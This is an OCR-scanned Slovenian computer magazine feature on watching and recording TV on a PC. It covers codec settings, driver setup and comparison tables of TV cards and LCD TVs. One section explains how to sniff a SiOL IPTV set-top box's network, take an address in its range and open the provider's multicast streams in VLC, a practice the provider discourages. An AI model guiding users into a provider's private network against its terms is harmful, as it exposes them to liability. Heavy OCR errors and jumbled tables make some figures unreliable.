v naprej dolo¢imo velikost, ki jo je mogote za-
pisati na CD. Ker se v&asih pri zajemu videa na
spodjem ali zgornjem robu pojavi nekaj pokvar-
jenih linij, je na voljo sprotno obrezovanje teh
vrstic. Tako bo posnetek resni¢no brez napak. In
da je zadeva e lepsa, je mogoce vnaprej dologiti,
kateri filtri bodo aktivni med snemanjem filma.
Tako lahko sproti odpravite prepletanje in Se
kak3no napako v sliki. Vse nastavitve je mogoce
shraniti v obliki profilov. Potem samo e izberete
pripravljen profil in za¢nete delo.

Tak$nih in podobnih programov je e veliko.
Ce se boste odlocili za snemanje TV-programov
na kateri koli na&in, pa preizkusite ve& preizkus-
nih razli¢ic programov, ki so na voljo. Le tako
boste nasli tak$nega, ki vam bo vie¢ in bo zado-
stil vsem va$im zahtevam. Nekaj jih boste nagli
tudi na nasem MikroCD-ju.

KODEKI

Ostalo je le 3e zadnje dejanje, pomembno za
zajem videa. Je pa med pomembnejsimi. Od iz-
branega kodeka in njegovih nastavitev sta od-
visni tako kakovost posnetka kot tudi velikost
datotek. Kaj in kako s kodeki, je bilo opisano %e
v posebnih &lankih na to temo v okviru kodi-
ranja DivX-filmov. Na kratko pa bo treba nekaj
zadev ponoviti. In da ne bom opisoval preved na
Siroko, bom podal le nekaksen recept, kako do
kakovostnega video zapisa, ki ne bo prevec za-
sedel vaSega trdega diska.

Izbira kodeka je odvisna predvsem od tega, kaj
Zelite z zajetim videom poceti. Ce gre le za posne-
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tek, ki ga boste predvajali iz ratunalnika na TV-za-
slon, potem je najprimerne;jsi DivX ali Xvid, oziro-
ma kateri od kodekov, ki mo¢no stisne datoteko.
Drug kodek boste potrebovali, ¢e Zelite kot kon¢ni
izdelek VCD-, SVCD- ali DVD-disk. Na sre¢o so

kodeki tudi za te namene prav lahko dostopni.

NASTAVITVE

Ni nujno, da so nastavitve, ki jih bom opisal,
najboljse, najhitrejse prav gotovo niso. So pa
bile, vsaj zame, nekak kompromis med kakovost-
jo zajetega filma in zmo¥nostjo opravljanja na-
loge v realnem &asu.

Nekako najpriro¢ne;jsi in uporabnikom najpri-
jaznejsi je DivX Pro, sam sem uporabil razli¢ico
5.05. Najbolje je najprej izbrati na listi¢u » Profiles«
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Nastavljanje BitRatea

AverTV

DVB-T STB-3

LifeView
FlyTV Platinum 35
FM PCI

LifeView

TV Box

CardBus

TV Box

GENIUS

TERRATEC

FlyTV Prime 34  Lifeview TV Walker Lifeview DBV-T Duo  LifeView PROTV  VideoWonder PRO  CINERGY 250 USB

FM PCI

USB 2.0

Il FM

TerraTec
Ginergy 400 TV
stereo

TerraTec
Ginergy 600 TV &
Radio

EC, d.0.0. Comtron, d.o.o. | Comtron, d.0.o. | Comtron, d.0.0. | Comtron, d.0.0. | Comtron, d.o.0. Avtera, d.0.0. Avtera, d.0.0. Avtera, d.o.0. Avtera, d.0.0.
www.averm.co.uk www.lifeview.com www.lifeview.com www.lifeview.com www.lifeview.com www.lifeview.com | www.geniusnet.com.tw | www.terratec.com www.terratec.com www.terratec.com
36.300 SIT 7.584 SIT 9.490 SIT 19.855 SIT 19.190 SIT 19.990 SIT 10.440 SIT 25.080 SIT 16.080 SIT 21.600 SIT
samostojen DVB-T PCI PCI USB 2.0 PCMCIA samostojen TV- PCI USB 2.0 PCI PCI
TV-sprejemnik sprejemnik
ne ne ne ne ne ne ne ne ne ne
da da da da ne da ni podatka da da da
ne da da da ni podatka ne da da da da
ne da da da ne ne da ne ne da (RDS)

ogled na monitor-
jih, projektorjih,

ogled, snemanie,
¢asovni zamik

ogled, snemanie,
¢asovni zamik

ogled, snemanje,
¢asovni zamik

ogled, snemanje,
¢asovni zamik,

ogled na monitor-
jin, projektorjih,

ogled, snemanje

ogled, snemanije in
¢asovni zamik

ogled, snemanje,
¢asovni zamik

ogled, snemanie,
¢asovni zamik

plazemskih DBV-T plazemskih
zaslonih, PIP zaslonih, PIP
antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod, antenski vhod,
VGA prehod, ste- | S-video vhod, S-video vhod, S-video vhod, S-video vhod, S-video vhod, S-video vhod, S-video vhod, S-video vhod, S-video vhod,
reo izhod, stereo | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni vhod, | kompozitni vhod, | kompozitni vhod,
PC vhod inizhod | vhod, stereo izhod | vhod, stereo izhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod avdio izhod avdio izhod avdio izhod
in izhod, VGA vhod in izhod
in izhod
ni podatka 125 125 125 125 ni podatka 125 ni podatka ni podatka ni podatka
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Nastavitve kodeka

Home Theater, nato na listi¢u »Bitrate Control«
nastaviti »Encoding Bitrate = 2000-2500«. To je
%e kar veliko. Na listicu »General Parameters« je
treba izbrati !Performance/ Quality = Fastest«, iz-
brati »Deinterlace all frames«. Druge nastavitve je
najboljge postaviti na minimum (&isto levo) razen
Keyframe, ki je postavljen ¢isto v redu.

Ker pa imate morda vi drugatne zahteve in
Sibkejso strojno opremo, pa se brez skrbi poigraj-
te z nastavitvami. Prav gotovo boste nali ustre-
zen kompromis.

Ponujene resitve pa Se zdale¢ niso vse. Le dober
zgled so, kako se zadeve lotiti. Ob branju vam morda

VIDEO KARTICE
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Odstranjevanje prepletanja

gredo lasje pokonci in razmisljate, komu se da s tem
muditi. V resnici pa je, ko enkrat poskusite, zadeva
sila preprosta, po nekaj zajetih filmih pa boste Ze
pravcati veteran in boste druge prepri¢evali o pred-
nostih ene ali druge resitve. In &e ste lastnik primer-
ne programske opreme, ni razloga, da zadev ne preiz-
kusite takoj, ko boste imeli pol ure prostega Casa.

IPTV (SIOL TV) NA PG-JU

ADSL-televizija je zdaj Ze dobro razirjena
in vse ve¢ uporabnikov zanima, ali je mo-
gole ta spored spremljati tudi na domadem
ra¢unalniku. Ce ne drugega, pa zato, ker je

potem prav preprosto snemati oddaje.

Sama narava priklju¢itve naprav, ki omogo-
&ajo spremljanje ADSL-televizije na domadem
televizijskem zaslonu, omogoca tudi spremljanje
istih kanalov na domadem racunalniku. Kajti
r}avsezadnje sta obe napravi povezani v omreZje.
Ceprav pri Siolu vedo, da je to mogoce, pa taks-
ne prikljugitve ne podpirajo in jo celo odsvetu-
jejo. Njihova izjava na moje vpradanje o tej temi
je temu primerna:

»Televizija prek ADSL oziroma SiOL TV je stori-
tev, pri kateri naroéniki za gledanje programov upo-
rabljajo televizijski sprejemnik in ne osebni racunalnik.
SiOL TV namre¢ deluje na istem fizicnem prikljucku
kot internet, vendar v svojem logicnem zasebnem
omregju. Uporabniki naj v to omregje ne bi priklapljali
racunalnikov, saj lahko povzrocijo Skodo. «

Kako lahko na ta nacin povzrotite skodo, je
vsaj meni velika skrivnost. Ampak glede na to,
da je Siol tudi uradno lastnik naprav, ki jih upo-
rabljate za spremljanje ADSL TV, pa& lahko pre-
povejo dolo¢eno uporabo naprav. In &e se lotite
sprememb, ki jih odsvetujejo, pa¢ odgovarijate za
vse neprijetnosti, ki vas lahko ali pa tudi ne dole-
tijo. Sam postopek prikljucitve ni prav zapleten,
pa &isto brez hakeljcev tudi ni. Pa poglejmo, kako
to pocno tisti, ki zadevo Ze lep ¢as uporabljajo.

Najprej potrebujte program VLC Media Pla-
yer, ki ga boste nasli tudi na naSem CD-ju. Gre
za video strefniski program, ki vam bo omogo-
&al tako sprejemanje Siolovih TV-kanalov na
vasem domadem racunalniku, pa tudi posiljanje
slike, recimo DivX-filmov, predvajanih na va-
$em ratunalniku na domaci TV-zaslon kar prek
komunikatorja (set top box). Naslednji korak

Pinnacle Pinnacle Pinnacle PCTV Pinnacle Pinnacle Pinnacle Pinnacle Pinnacle
MediaCenter PCTV MediaCenter PCTV MediaCenter PCTV USB2 PCTV Stereo PCGTV rave PCTVpro PCTV Deluxe PCTV Sat (DVB-TV)
PMC 100i 300i (DVB-TV) 100e
Informacije Zak, d.o.0. Zak, d.o.0. Zak, d.o.0. Zak, d.0.0. Zak, d.0.0. Zak, d.o.0. Zak, d.o.0. Zak, d.o.0. Zak, d.o.0.
Spletni naslov www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com | www.pinnaclesys.com
Cena 20.400 SIT 34.800 SIT 28.600 SIT 25.000 SIT 17.400 SIT 12.000 SIT 24.000 SIT 48.000 SIT 36.600 SIT
Vodilo PCI PCI USB 2.0 USB 2.0 PCI PCI PCI USB 2.0 PCI
Strojno kodiranje ni podatka ni podatka ni podatka MPEG 1 in 2 MPEG 1 in 2 ne MPEG 1 in 2 MPEG 1 in 2 MPEG 1 in 2
Daljinski upravijalnik da da da da da ne da da da
Teletekst da da da da da da da da da
Radio ne ne ne ne ne ne ne ne da
Moznosti ogled, snemanje, | ogled, snemanje, | ogled, snemanje, | ogled, snemanje, | ogled, snemanje, = ogled, snemanje | ogled, snemanje, | ogled, snemanje, = ogled, snemanje,

casovni zamik

¢asovni zamik

¢asovni zamik

¢asovni zamik

casovni zamik

¢asovni zamik

¢asovni zamik

¢asovni zamik

Avdio/video prikljuki

antenski vhod,
S-ideo vhod,

antenski vhod,
S-video vhod,

antenski vhod,
S-video vhod,

antenski vhod,
S-video vhod,

antenski vhod,
S-video vhod,

antenski vhod,
S-ideo vhod,

antenski vhod,
S-video vhod,

antenski, S-video
vhod, kompozitni

antenski, S-video,
kompozitni (RCA),

kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | kompozitni (RCA) | (RCA) vhod, stereo stereo
vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod | vhod, stereo vhod |  vhod in izhod,
prikljucek za LCD
monitor, projektor
Stevilo kanalov ni podatka ni podatka ni podatka ni podatka ni podatka ni podatka ni podatka ni podatka ni podatka

Drugi dodatki

02
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je omrena prikljuditev racunalnika v stikalo
(switch), kjer je priklju¢en tudi komunikator.
Ker se tok video podatkov (video stream) oddaja
v vse vhode na stikalu (multicast) ni potrebno
posebno usmerjanje. Ko je to opravljeno, je treba
ponovno zagnati komunikator in pognati omre%-
nega ali paketnega vohljaca (sniffer). Ta bo po-
iskal IP vagega komunikatorja. IP je navadno
nekje v razredu 10.46.xx.xx ali 10.2x.xx.xx. Ko
program najde IP, si nastavite IP iz istega razreda,
maska je 255.255.0.0 in prehod 10.26.0.1. Ko je
vse pripravljeno, pozenite VLC in v programu v
nastavitev omre¥nega vmesnika vpisete IP, kot
ste ga uporabili za svojo omre¥no kartico.

Nato v VLC/File/Open network stream/ ozna-
&ite udp/rtp multicast in vnesete IP kanala.

Potreben je $e seznam kanalov. Nekaj jih je
v spodnjem seznamu, natan¢nejiega pa lahko
najdete v kar nekaj slovenskih forumih, kjer se

ukvarjajo s to tematiko.

Pinnacle Pinnacle
PCTV Sat CI PCTV Sat Kit
(DVB-TV) (DVB-TV)
Zak, d.0.0. Zak, d.0.0.
www.pinnaclesys.com | www.pinnaclesys.com
43.200 SIT 45.600 SIT
PCI PCI
MPEG 2 MPEG 2
da da
da da
da da

ogled, snemanie,
¢asovni zamik

ogled, snemanje,
¢asovni zamik

antenski, S-video,
kompozitni (RCA),

antenski vhod,
S-video vhod,

stereo kompozitni (RCA)
vhod, stereo vhod
ni podatka ni podatka

moznost satelit-
skega interneta in
kartica za placljive
programe

moznost satelit-
skega interneta in
kartica za placljive
programe, satelitska
antena in ves pribor,
potreben za montazo

* Podatki na spletnih
straneh proizvajalcev

in prodajalcev so zelo
pomanjkljivi, zato je
prava primerjava izdelkov
otezena.

-
o

Prikljucki

Brezzicna
povezava

['SL01','239.255.0.1:5002',0,RTV Slovenija 1'1,"],
['SL02','239.255.0.2:5002',0,RTV Slovenija 2',2,"],
['Kanal A','239.255.0.51:5002',0,",3,"],

['Pop TV'239.255.0.52:5002',0," 4,"],
['HRT1'/239.255.0.40:5002',0,'Hrvatska Televizija 1.,5,"],
['HRT2',239.255.0.63:5002',0, Hrvatska Televizia II.'6,"],
['HRT3',239.255.0.137:5002',0,' Hrvatska Televizija Ill.',7,"],
[TV3''239.255.0.124:5002',0,"17,"],

['MTV 1'239.255.0.84:5002',0,'Music Television',21,"],
['Pink Plus','239.255.0.45:5002",0,Pink TV Plus',47,"],
[Teve Pika','239.255.0.92:5002',0,",65,"],

Podrobneje o vseh nastavitvah boste izvedeli
na forumu na Siolovi spletni strani. Sam vam
namerno ne dajem natan¢nejsih navodil, saj je
poletje sporno in ne ¥elim odgovarjati za vase
morebitne te¥ave. Zanimivo pa je, da Siol kljub
vsemu dopusta debate na to temo prav na svo-
jem forumu. Morda pa le Zelijo vsaj okvirno ve-
deti, kaj vse uspejo njihovi uporabniki iztisniti iz
njihovih napravic.

JE NADGRADNJA PC-JA
LAHKO NADOMESTEK ZA TV IN VCR?

Prav gotovo. Se zlasti &e imate manjSe stanova-
nje, v katerem ni prostora za odve¢ne naprave, in
premorete tudi nekoliko vegji monitor. Seveda pa
tudi drugace. Pa¢ ne bo takina izbira nuja, temved
bodo temu botrovali drugi razlogi. Primerna TV-
kartica z daljinskim upravljalnikom in dovolj velik
LCD- ali CRT-ratunalniski zaslon sta dobra zame-
njava za televizor. Tako lahko enako kot pri kla-
si¢nem televizorju vse upravljate kar iz naslanjaca.
Uporaba je pa& udobna, kolikor je to mogoce. Ni&
manj in ni¢ bolj kot pri klasicnem televizijskem
sprejemniku. Dodatna mo?nost je prav gotovo
snemanje programov v doma¢i ra¢unalnik. Edina
pomanjkljivost je zasedenost ratunalnika, ko elite
gledati televizijski program v celozaslonskem naci-
nu. Takrat je pa¢ nemogoce kaj pametnega poceti z
domacim racunalnikom. Sicer pa, ko gledate tele-
vizijo le malokdaj potenete Se kaj drugega.

KAKO POVEZATI RACUNALNIK
IN TV-SPREJEMNIK

Za potrebe ogleda televizijskega sporeda na
domadem ratunalniku zadeva sicer ni potrebna,
je pa potrebna zaradi predvajanja filmov na tele-
vizorju. Ce imamo v ratunalnik vdelan TV-spre-
jemnik, lahko na domati televizor speljemo tudi
posamezen TV-kanal iz racunalnika. In zakaj
bi to poteli, ¢e tako sedimo pred televizorjem!?
Hja, recimo, da imate TV-sprejemnik, ki omo-
gota sliko v sliki in premore le en sprejemnik.
Takrat lahko kot vir signala za pomanj$ano sliko
uporabite tudi sliko iz ratunalnika. Ali pa Zelimo
posneti televizijski spored na domagem racunal-
niku, pa nimamo vdelane TV-kartice. Tudi tako
preprosto je lahko va$ domadi racunalnik ne-
koliko moderneisi videorekorder. Saj to smo %e
vse opisovali. Ker pa je tema
vedno bolj aktualna in tudi
na na$ naslov prihaja vse
ved tovrstnih vpra$anj, bom
zadevo ponovno pojasnil.

Grafi¢ne kartice imajo

navadno TV-izhod v obliki

TEMA MESECA
PCTV

priklju¢ka S-video. Pa ne samo grafi¢ne kartice,
tudi samostojne TV-kartice in podobne zuna-
nje naprave ga imajo. Zadnje Case tukaj ni raz-
like med domacimi racunalniki in prenosniki,
saj tudi slednji ponujajo isto mo#nost. Vse kar
je potrebno, sta kabel S-video in ustrezni pri-
klju¢ek na TV-sprejemniku. Ce tega ni, potem
je Se vedno mogo&e uporabiti adapter S-video/
SCART, ki je na voljo v tehni¢nih trgovinah Ze
za nekaj sto tolarjev. Seveda je treba do TV-spre-
jemnika pripeljati tudi zvok iz racunalnika. Pri-
klju¢ke najdete na zadnji strani ratunalnika, kjer
so navadno prikljuceni zvo¢niki, ali pa uporabite
izhod za slugalke na zvo&nikih. Druga stran avdio
kabla gre seveda v priklju¢ek SCART.

Drug na&in povezave ratunalnika in TV-spre-
jemnika je z napravami za brezZi¢no povezavo.
Tudi tukaj ne bo §lo brez povezovalnih kablov.
Razli¢ne naprave pa imajo tudi nekoliko drugag-
ne zahteve po priklju¢nih kablih, le da so ti zelo
kratki, v glavnem pa jih dobite pri nakupu na-
prave. Glavno razdaljo premosti brezZi¢na napra-
va. Razli¢ne naprave pa so seveda tudi razli¢no
kakovostne. V glavnem ni teZav pri povezavah,
kjer se sprejemni in oddajni del tudi opti¢no »vi-
dita«. Se pravi, v istem prostoru bo zadeva lahko
izvedljiva. Tak$na povezava v drug prostor pa do-
bro deluje v zelo redkih primerih, kar pa je odvis-
no od same gradnje prostorov. Razli¢na struktura
zidu pomeni razli¢no oviro brez#i¢nim napravam.
Moti oddajnikov so majhne, saj so naprave pred-
videne za uporabo v enem prostoru.

Sama povezava ne bo te¥avna, saj je napravam
navadno priloZena natan¢na shema, kako in kje
in kaj povezati.

Zvok pa je mogole povezati tudi na hi$ne av-
dio naprave. Tukaj je seveda odvisno, kaj napra-
va omogoca, pa tudi kaksne izhode ima vdelana
vasa zvo¢na kartica. Nekatere zvo¢ne kartice so
omejene na stereo izhod, druge spet omogocajo
koaksialni ali opti¢ni digitalni izhod. Izberete
pac najboljSega ali e prostega in poveZete z avdio
napravo. Le pri digitalni povezavi pa boste imeli
tudi mo¥nost izkori§¢anja prostorskega zvoka ali
njegovega ponaredka.

Enako, le obratno je mogoce povezati televi-
zijski sprejemnik z ra¢unalnikom. Seveda pove-
Zete avdio in video izhode televizorja z avdio in
video vhodi ra¢unalnika. Ce poveZete oboje, pa
imate prav vse mo¥nosti prenosa signala iz ra¢u-
nalnika v televizor in obratno. Tako lahko gleda-
te filme iz racunalnika na televizijskem zaslonu,
ali pa film, ki ga sprejema televizijski sprejemnik,
posnamete v DivX ali drugem formatu.

GRAFICNI GONILNIKI

Pri povezavi racunalnika in televizijskega spre-
jemnika pa se veselje ne konca pri povezovalnih
kablih. Vegje »zabave« boste dele?ni pri nastav-
ljanju gonilnikov in njihovem prepri¢evanju,
naj vendarle pokaZejo celozaslonsko sliko na
televizorju, Ceprav boste na ra¢unalniku po&eli
kaj drugega. Recimo brskali po spletu ali oprav-
ljali zaostalo delo.

In ker sta na trgu le 3¢ dva pomembnejsa pro-
izvajalca grafi¢nih kartic, ATT in nVidia, je s tem
tudi manj razli¢nih grafi¢nih gonilnikov. Ti ponu-
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jajo vrsto nastavitev, ki tako ali drugae izboljsajo
delovanje grafi¢nih kartic, ali preprosto aktiviramo
dolo¢eno moznost, ki jo trenutno potrebujemo.

Tokrat se bomo posvetili nastavitvam grafi¢nih
gonilnikov za ogled filmov na TV-zaslonu. Da-
nes prakti¢no vse grafi¢ne kartice, tudi cenejse,
premorejo TV-izhod. Ta je namenjen ogledu fil-
mov na TV-zaslonu. Ker je v nasih ra¢unalnikih
vse vel DivX- in DVD-filmov, je, razumljivo, vse
pogostejsa tudi Zelja po njihovem ogledu na ne-
koliko veg&jem zaslonu. Vetini uporabnikov sicer
uspe brez vedjih te¥av nastaviti gonilnike tako,
da je to mogoce, veliko pa jih spregleda najza-
nimivej$o mo¥nost, ki jo novi gonilniki ponujajo
Ye nekaj Casa: ogled filma na TV-zaslonu, med
tem ko z domacim ra¢unalnikom poé¢nemo dru-
ge redi. Zadeva je pomembna iz dveh razlogov.
Prvi je seveda ta, da ratunalnik ni »onesposob-
ljen« s predvajanjem filma, drugi pa je udobje.
Gonilniki omogocajo celozaslonski prikaz filma
na TV-zaslonuy, tudi ko je sam program za pred-
vajanje filma na ra¢unalniku pomanj$an. Tudi ni
vel treba spreminjati lo¢ljivosti namizja, da bi
bila velikost predvajanega filma prilagojena na
skromnejso lo¢ljivost TV-zaslonov. Pa poglejmo,
kako to narediti pravilno pri ATI-jevih in nVidi-
inih gonilnikih.

Nastavljanje gonilnikov

Prvi korak je pri obeh podjetjih enak. Kazalec
miske je treba postaviti na katerikoli del namizja,
pritisniti desni miskin gumb in iz menija izbrati
Lastnosti, ki so vedno na dnu menija. Odpre se
okno z nekaj listi¢i. Skrajno desni je poimeno-
van Nastavitve in tega Yelimo aktivirati. Novo
pogovorno okno je namenjeno spreminjanju
lo¢ljivosti zaslona oziroma navadno kar dveh.
Od tukaj pa ne moremo postoriti vsega, kar Zeli-

mo. Pritisniti je treba gumb z imenom Dodatno,
najdemo pa ga v desnem spodnjem koncu okna.
Od tukaj naprej pa se zgodbi precej razlikujeta.
Pa poglejmo.

ATl

Gonilniki podjetja ATI z imenom Catalyst so
po mnogocem preproste;jsi od svojih konkurentov,
zato pa je videti, kot bi ponujali manj mo#nosti. Do
neke mere je to Se vedno res, v resnici pa so gonil-
niki samo nekoliko bolje prilagojeni povpre¢nemu
uporabniku, ki ne %eli kopice mo#nosti, ki jih ne bo
ne potreboval ne razumel. Tako je na voljo popol-
noma dovolj mo¥nosti, le da so te prikazane pre-
prosteje, z izbiro posameznih pa se navadno hkrati
spremeni ve¢ parametrov. Podjetje se seveda Se
kako dobro zaveda, kaj potrebuje povpreten upo-
rabnik, in to ponudi na najpreprostejsi nacin.

Ce smo pravilno izbrali vse opisano v prvem
poglaviju, so pred nami grafi¢ni gonilniki v obliki
okna z vedjim Stevilom listicev. Najprej je tre-
ba izbrati listi¢ Displays (tudi v poslovenjenem
Windows). Odpre se okno, v katerem so vrisani
zasloni.

Odvisno od tega, kaj je dejansko priklju¢eno
v va§ ratunalnik, bodo ti zasloni lepo obarvani.

gE Sivi in neugledni
so tisti, ki trenut-
no niso prikljuceni.
Torej je pred opravi-
lom treba poskrbeti
za povezavo med
TV-izhodom vase
graficne kartice in
TV-sprejemnikom.
Gumb na levem
robu ustrezne slike je

lahko obarvan zele-

LGD-MONITORJI S TV-SPREJEMNIKOM

no ali rdete. Ce je rde€, ga je treba pritisniti in s
tem omogoditi dvozaslonsko delovanje grafi¢ne
kartice. Ob slikah zaslonov sta vedno dve mo-
dri ikoni. Prva v obliki pike in kroZca in druga v
obliki dveh pravokotnikov. Prvi znak je za izbiro
prvega (primarnega) zaslona, drugi pa za izbiro
drugega (sekundarnega) zaslona. Prvi zaslon je
vedno raunalniski monitor. Zdaj vklju&ite TV-
sprejemnik in izberite ustrezen video vhod in
%e bo slika namizja tudi na TV-zaslonu. No, ¢e
imate sreco, sicer pa je treba e kaj nastaviti.

Ob pritisku na napis TV se bo odprlo novo
okno, v katerem ponovno najdemo nekaj listi-
&ev. Najbolje je zaleti s skrajno desnim, kjer je
treba izbrati naso drfavo in format PAL-B ali
PAL-G.

Bistvene razlike
ni, eprav je v na-
vadi izbrati PAL-B.
Drugi listi¢ z desne
ponuja nekaj moz-
nosti nastavitev ka-
kovosti slike, kar pa&
nastavite tako, da
bo slika kakovostna,
navadno pa je do-
volj vse postaviti na
Standard. ] e =N

Naslednyji list proti levi omogo¢a spreminjanje
velikosti in poloZaja slike na TV-zaslonu. Za-
nimiva moznost je Overscan. Ce se vam na TV-
zaslonu pojavi na katerem od robov popa&ena
slika, boste s to mo#nostjo sliko toliko povecal,
da se bodo nepravilnosti skrile za vidni rob za-
slona. Na prvem listi¢u z leve pa nastavimo le Se
kontrast in nasi¢enost z barvami in delo je tukaj
opravljeno.

Drugi osnovni listi¢ v gonilnikih, ki nas za-

LCD TV Philips Samsung Samsung Samsung LG L173ST + TV Hyundai L17T  Hyundai L19T Hansol HW 1710  Prestigio Prestigio  Prestigio P190T
17 SM710MP MM  SM730MP MM  SM510MP MM P170T P172W
+ TV tuner + TV tuner + TV tuner
Informacije Avtera, d.0.0. | Avtera, d.0.0. | Avtera d.o.0. | Avtera, d.o.0. | Comtron, d.0.0. K E-misija, d.0.0. | E-misija, d.0.0. |Acord-92, d.0.0., RoLAN, d.0.0. | RoLAN, d.o.0. | RoLAN, d.o.0.
Spletni naslov: www.philips.com | www.samsung.com | www.samsung.com | www.samsung.com | www.lge.com | www.hyundaig.com | www.hyundaig.com | www.hansol-uk.com | www.prestigio.com | www.prestigio.com | www.prestigio.com
Cena 174788 SIT | 125.640 SIT | 177.720 SIT | 119.880 SIT | 116.284 SIT | 124.200 SIT | 158.484 SIT | 199.900 SIT | 136.990 SIT | 139.990 SIT | 177.300 SIT
Velikost diagonale| 17 (43 cm) | 177 (43cm) | 177 (43 cm) 15” 17" 17" 19” 17" 17" 17" 19”
Logljivost 1280x 768 | 1280x 1024 | 1280x 1024 = 1024 x 768 | 1280x 1024 | 1280 x 1024 | 1280x 1024 | 1280x 768 @ 1280x 1024 = 1280 x 1024 | 1280 x 1024
Barvna globina 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna 32-bitna
Ivocniki 12W stereo | 1.5Wstereo | 5Wstereo | 1.5 W stereo stereo 2W stereo 2 Wstereo | 2,5Wstereo | 2 W stereo 2 W stereo 2 W stereo
Zorni kot 170 / 170 150 / 120 140 / 140 150 / 120 160 / 160 170/ 170 170 / 170 120 /90 140 / 140 170 /170 170/ 170
Daljinski da ni podatka ni podatka ni podatka ni podatka da da da ne da ne
upravijalnik
Mere in teza 517 x 301 389 x 402 496 x 378 | 355x358x184 | 474,5x 447,7 | 372 x 395 420 x 441 ni podatka 438x486 | 139,5x325 | 420x441
X 65 mm; x 206 mm; x 170 mm; | mm; ni podatka| x 115.2 mm; | x 185mm; x 185 mm; x 160 mm; x 525 mm; x 185 mm;
5,6 kg 5,8 kg 5,7 kg 0 tezi 6,6 kg 4.6 kg 6,2 kg 6,1 kg 6,8 kg 6,2 kg

\Umesniki antenski vhod, 2 | antenski, ana- analogni, antenski, ana- | antenski, ana- | antenski, ana- | antenski, ana- | antenski, ana- | antenski, ana- | antenski, ana- | antenski in

x komponentni | logni in S-Video | Digitalni, CVBS, | logni in S-Video| logni, DVI-D, | logni, S-Video, | logni, S-Video, | logni in avdio | logni, S-Video, | logni, S-Video | analogni vhod

in kompozitni vhod S-Video in vhod CVBS, SVHS, | kompozitni in | kompozitniin | vhod, SCART | kompozitni in vhod
avdio/video Avdio vhodi, HDTV avdio vhod avdiovhod | inH/Pizhod | avdio vhod

vhod in izhod, 2 WiseLink

x S-VGA vhod,

VGA vhod, izhod

za bas zvocnik,

izhod za sluSalke
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* Priizboru izdelkov za tabelo smo se omejili na LCD TV-naprave, pri katerih je uporaba kot racunalniskega monitorja $e smiselna.
Pri nekaterih modelih z vecjimi zasloni je locljivost preprosto premajhna, da bi bila uporaba za delo z racunalnikom Se smiselna.
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lenih sadov, je treba

=] ratunalnik ponovno
pognati. Navadno je to dovolj, sicer pa zadevo
ponovite $e nekajkrat, pa bo.

Pri starejsih gonilnikih sta na voljo tudi izbira
TV-izhoda in dolotitev lo¢ljivosti TV-sprejem-
nika. Kot izhod je navadno uporabljen S-video,
lo¢ljivost TV-sprejemnika pa je 800 x 600, razen
pri televizorjih z vegjo lo¢ljivostjo. Ce se pri tej
vrsti gonilnikov pojavi ¢ro-bela slika na TV-za-
slonu, je treba izbrati kompozitni izhod, getudi ni
uporabljen tak priklju¢ek. Pri novejsih gonilni-
kih pa pomaga zgoraj omenjeni ponovni zagon,
ker te mo¥nosti gonilniki niti ne ponujajo.

Sl

L

nVidia

Podjetje nVidia je glede gonilnikov skrben
gospodar. Zavedajo se, da Se tako dobra grafi¢-
na kartica ni piskavega boba vredna brez kako-
vostnih gonilnikov. Tako ponujajo Siroko paleto
nastavitev, kar pa je za ve&ino uporabnikov %e
precej nepregledno. Zamera tem gonilnikom gre
tudi na ratun stalnega spreminjanja razporeda
nastavitev. Te se lahko v nekaj mesecih spreme-
nijo do tak$ne mere, da je te¥ko najti pravi listic¢,
Cetudi natan¢no veste, kaj Yelite. Tako je tudi
svetovanje dokaj ote¥eno. Zato pa so gonilniki
tudi v slovenskem jeziku, kar marsikomu olajsa
brskanje. Kot pri zgornjem primeru je prvi del
postopka ¥e opisan.

Prva zahteva pri namestitvi gonilnikov je, da
omogodite nView, sicer bodo najboljse moZnosti
manjkale. V osnovnih gonilnikih, ki jih prikli-
&emo na namizju, je pod sliko zaslonov ponuje-
na moZnost Kloniraj zaslon ali samo Clone. To
aktivira dvozaslonski prikaz. Ce ne gre drugade,
je treba najprej oznaciti zaslon s §tevilko 2, kar
omogodi izbor. Zadeva se nekoliko razlikuje gle-
de na razli¢ice gonilnikov, zato nekaj zmede tudi
pri mojem opisu postopka. S pritiskom na drugi
monitor z desno miskino tipko je na voljo %e od
tukaj nekaj nastavitev. Tako lahko nastavite lo¢-
ljivost zaslona in osvefevanje. Za TV-sprejemnik

je to navadno 800 x 600 pik pri 60 Hz hitrosti
osvefevanja. Ob pritisku na gumb Dodatno v
osnovnih gonilnikih se odpre okno z gonilniki,
ob levi strani pa izbirni meni moZnosti.
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Sega monitorja. Pod
sliko televizorja pa
je treba izbrati Se for-
mat, in sicer PAL-B.
Zdaj oznatite TV-za-
slon (oznacen s $te-
vilko 2) in pritisnite
tipko Nast.naprave.

Treba je izbrati
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| I || moZnost je v meniju
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nad barvno krivuljo.

Treba je izbrati moznost Celozaslonski video.

Nastavitev je Se vec, opisane pa so dovolj, da
boste lahko na TV-sprejemniku videli film preko
vsega zaslona, med tem ko boste z ratunalnikom
poceli kaj drugega. Tudi tukaj velja pravilo iz
zgornjega primera: ¢e kljub vsem pravilnim na-
stavitvam zadeva ne deluje, kot bi morala, pre-
prosto ponovno za¥enite racunalnik. Navadno
pomaga.
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STROJNA OPREMA

SN

UREJA: Jaka Mele jaka.mele@mojmikro.si

Na Zahodu
nic¢ novega

decembrski nakupni (m)noriji sem
opazoval prodajno-marketinske
akcije zahodnih trgov (najrazvitejsi
del Evrope in ZDA) ter na azijsko-
pacifiskem koncu, kjer mi je posebej v oci
padla Japonska. Je ¥e tako, navajeni smo,
da nove izdelke vec¢ina tehnoloskih podjetij
najprej predstavi prav na Japonskem. Ta
dr¥ava je ocitno nekak testni zajéek, poligon,
kjer so uporabniki izredno odprti do nowvosti in
